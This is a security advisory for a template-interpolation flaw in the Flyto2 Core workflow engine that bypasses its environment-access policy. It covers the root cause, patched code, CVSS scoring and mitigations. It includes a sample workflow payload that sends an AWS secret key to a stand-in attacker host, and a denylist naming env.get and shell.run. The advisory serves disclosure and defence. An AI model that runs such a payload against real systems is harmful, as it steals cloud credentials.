CVE-2026-67427: Host Environment Variable Access Policy Bypass via Template Interpolation in Flyto2 Core

Flyto2 Core is an execution kernel designed to orchestrate automation workflows and run structured AI-agent behaviors. Within microservice and cloud deployments, these workflows interface with external systems, third-party APIs, and databases. Because the core engine processes untrusted workflow parameters, maintaining a robust boundary between the processing space and the host system's environmental secrets is critical for multi-tenant isolation.

This security bypass is classified under CWE-693: Protection Mechanism Failure. The Flyto2 Core architecture implements an administrative module policy mechanism designed to restrict access to sensitive components. Operators use this capability to denylist dangerous operations, such as system commands or direct environment retrieval via the env.get module.

However, a logical gap exists in the engine's early-stage parameter handling. The system evaluates dynamic placeholders containing system environment references prior to checking the execution permissions of individual modules. Consequently, unauthorized access to host parameters can occur without triggering security policies designed to prevent direct information disclosure.

The root cause of CVE-2026-67427 is a phase-of-execution inconsistency between the workflow engine's parsing logic and its access-control validations. Flyto2 Core manages runtime executions by parsing parameters inside workflow definitions. A component known as the VariableResolver, defined in src/core/engine/variable_resolver.py, is responsible for identifying placeholders with the ${type.identifier} pattern and replacing them with runtime data.

When processing ${env.VAR} statements, the vulnerable resolver interacts with the host environment using the Python standard library function os.getenv(). This resolution takes place during the initial template parsing phase, prior to the verification routines managed by the engine's capability filters.

Although the module policy layer defined in src/core/module_policy.py correctly blocks direct execution of the env.get module, it does not evaluate parameter values that have already been resolved. Therefore, any allowed network or file-system module can be leveraged to receive and transmit the resolved host credentials, neutralizing the effect of the module denylist.

The vulnerability was resolved in commit d5f89d71303e3c1e6418d347c5c55fcd173cc8cc by linking the variable resolver's parsing path directly to the security policy engine.

Prior to the patch, VariableResolver resolved host variables directly without evaluating policy constraints:

# Pre-patch vulnerable implementation in src/core/engine/variable_resolver.py
def _get_variable_value(self, var_path: str) -> Any:
    if var_path.startswith("env."):
        parts = var_path.split(".")
        if len(parts) < 2:
            return None
        env_var = parts[1]
        return os.getenv(env_var) # Directly fetches host environment variable

The remediation logic inserts a verification step within the parsing function. The resolver now references the policy check function is_env_var_allowed before returning the environment value:

# Patched implementation in src/core/engine/variable_resolver.py
def _get_variable_value(self, var_path: str) -> Any:
    if var_path.startswith("env."):
        parts = var_path.split(".")
        if len(parts) < 2:
            return None
        env_var = parts[1]
        
        # SECURITY: Gate environment variables through central policy filters
        from core.module_policy import is_env_var_allowed
        if not is_env_var_allowed(env_var):
            logger.warning(
                "Blocked ${env.%s} interpolation: env access is denied by policy.",
                env_var
            )
            return None
        return os.getenv(env_var)

To manage this, the policy engine in src/core/module_policy.py introduces allowlist validation logic. If the env.get module is restricted, only environment variables explicitly listed in FLYTO_ENV_VAR_ALLOWLIST (or those matching wildcard/glob configurations) will be resolved.

Exploitation of CVE-2026-67427 requires the ability to submit or trigger workflows within Flyto2 Core. The attack is executed by defining a workflow payload that leverages a permitted outbound network module, such as http.get or http.request, to transmit system variables.

Even when administrative configurations restrict module access by blocking the env.get module, an attacker can construct a payload containing the following parameters:

name: Exfiltrate System Context
steps:
  - id: exfil
    module: http.get
    params:
      url: "https://attacker-controlled.site/capture?data=${env.AWS_SECRET_ACCESS_KEY}"

During execution, the VariableResolver scans the parameter values and encounters ${env.AWS_SECRET_ACCESS_KEY}. The engine retrieves the token value from the operating system's memory space and generates the completed URL string. The step validation logic permits execution because http.get is an allowed module, resulting in the plain-text transmission of credentials to the attacker's web server.

The impact of this policy bypass is severe in cloud-native infrastructures where automation runners maintain broad resource credentials. If the execution instance processes workflows from multiple users or integrates with untrusted third-party inputs, malicious actors can pivot and gain persistent access to underlying cloud platforms.

The CVSS v3.1 score is 8.6, with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. The scope is changed (S:C) because the security boundary of the execution sandbox is breached to extract system host data.

Because the exfiltration takes place using approved communication channels, it bypasses security sensors. Standard network defenses fail to alert on these outbound connections, as the packets represent legitimate system traffic originating from legitimate business modules.

Remediation requires upgrading the flyto-core dependency to version 2.26.6 or later. If immediate code upgrades are not possible, deployment managers can reduce the exposure by configuring process isolation controls.

Administrators must minimize the presence of sensitive secrets in the host's direct environment variables. Deploying containerized environments with strict environment segregation ensures that only essential variables are available in the container scope.

# Example docker-compose configuration for mitigation
services:
  runner:
    image: flytohub/flyto-core:2.26.6
    environment:
      - FLYTO_MODULE_DENYLIST=env.get,shell.run
      - FLYTO_ENV_VAR_ALLOWLIST=PUBLIC_*,APP_ENV

Additionally, employing temporary or role-based access mechanisms (such as AWS IAM roles or OIDC credentials) instead of static secret environment variables reduces the utility of any leaked host context.